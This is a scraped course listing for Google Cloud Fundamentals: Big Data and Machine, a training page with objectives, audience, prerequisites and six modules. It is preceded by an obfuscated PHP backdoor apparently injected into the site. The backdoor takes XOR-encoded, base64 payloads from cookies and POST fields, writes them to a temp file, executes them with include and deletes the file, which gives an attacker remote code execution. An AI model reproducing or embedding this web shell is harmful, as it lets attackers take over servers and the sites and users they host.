$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Google Cloud Fundamentals: Big Data and Machine|Grupo Loyal

Google Cloud Fundamentals: Big Data and Machine

Google Cloud Fundamentals: Big Data and Machine

This course will introduce you to Google Cloud's big data and machine learning functions. You'll begin with a quick overview of Google Cloud and then dive deeper into its data processing capabilities.

Objetivos

Identify the purpose and value of the key Big Data and Machine Learning products in Google Cloud.
Use Cloud SQL and Dataproc to migrate existing MySQL and Hadoop/Pig/Spark/Hive workloads to Google Cloud.
Employ BigQuery and Cloud SQL to carry out interactive data analysis.
Choose between different data processing products in Google Cloud.
Create ML models with BigQuery ML, ML APIs, and AutoML.

Big Data

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

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Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
5 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Data analysts, data scientists, and business analysts who are getting started with Google Cloud.
Individuals responsible for designing pipelines and architectures for data processing, creating and maintaining machine learning and statistical models, querying datasets, visualizing query results, and creating reports.
Executives and IT decision makers evaluating Google Cloud for use by data scientists.

Conocimientos requeridos

Roughly one year of experience with one or more of the following:

A common query language such as SQL.
Extract, transform, and load activities.
Data modeling.
Machine learning and/or statistics.
Programming in Python.

Temario

The course includes presentations, demonstrations, and hands-on labs.

Module 1: Introduction to Google Cloud

Identify the different aspects of Google Cloud’s infrastructure.
Identify the big data and ML products that form Google Cloud.
Module 2: Recommending Products Using Cloud SQL and Spark

Review how businesses use recommendation models.
Evaluate how and where you will compute and store your housing rental model results.
Analyze how running Hadoop in the cloud with Dataproc can enable scale.
Evaluate different approaches for storing recommendation data off-cluster.
Module 3: Predicting Visitor Purchases Using BigQuery ML

Analyze big data at scale with BigQuery.
Learn how BigQuery processes queries and stores data at scale.
Walkthrough key ML terms: features, labels, training data.
Evaluate the different types of models for structured datasets.
Create custom ML models with BigQuery ML.
Module 4: Real-time Dashboards with Pub/Sub, Dataflow, and Google Data Studio

Identify modern data pipeline challenges and how to solve them at scale with Dataflow.
Design streaming pipelines with Apache Beam.
Build collaborative real-time dashboards with Data Studio.
Module 5: Deriving Insights from Unstructured Data Using Machine Learning

Evaluate how businesses use unstructured ML models and how the models work.
Choose the right approach for machine learning models between pre-built and custom.
Create a high-performing custom image classification model with no code using AutoML.
Module 6: Summary

Recap of key learning points.
Resources

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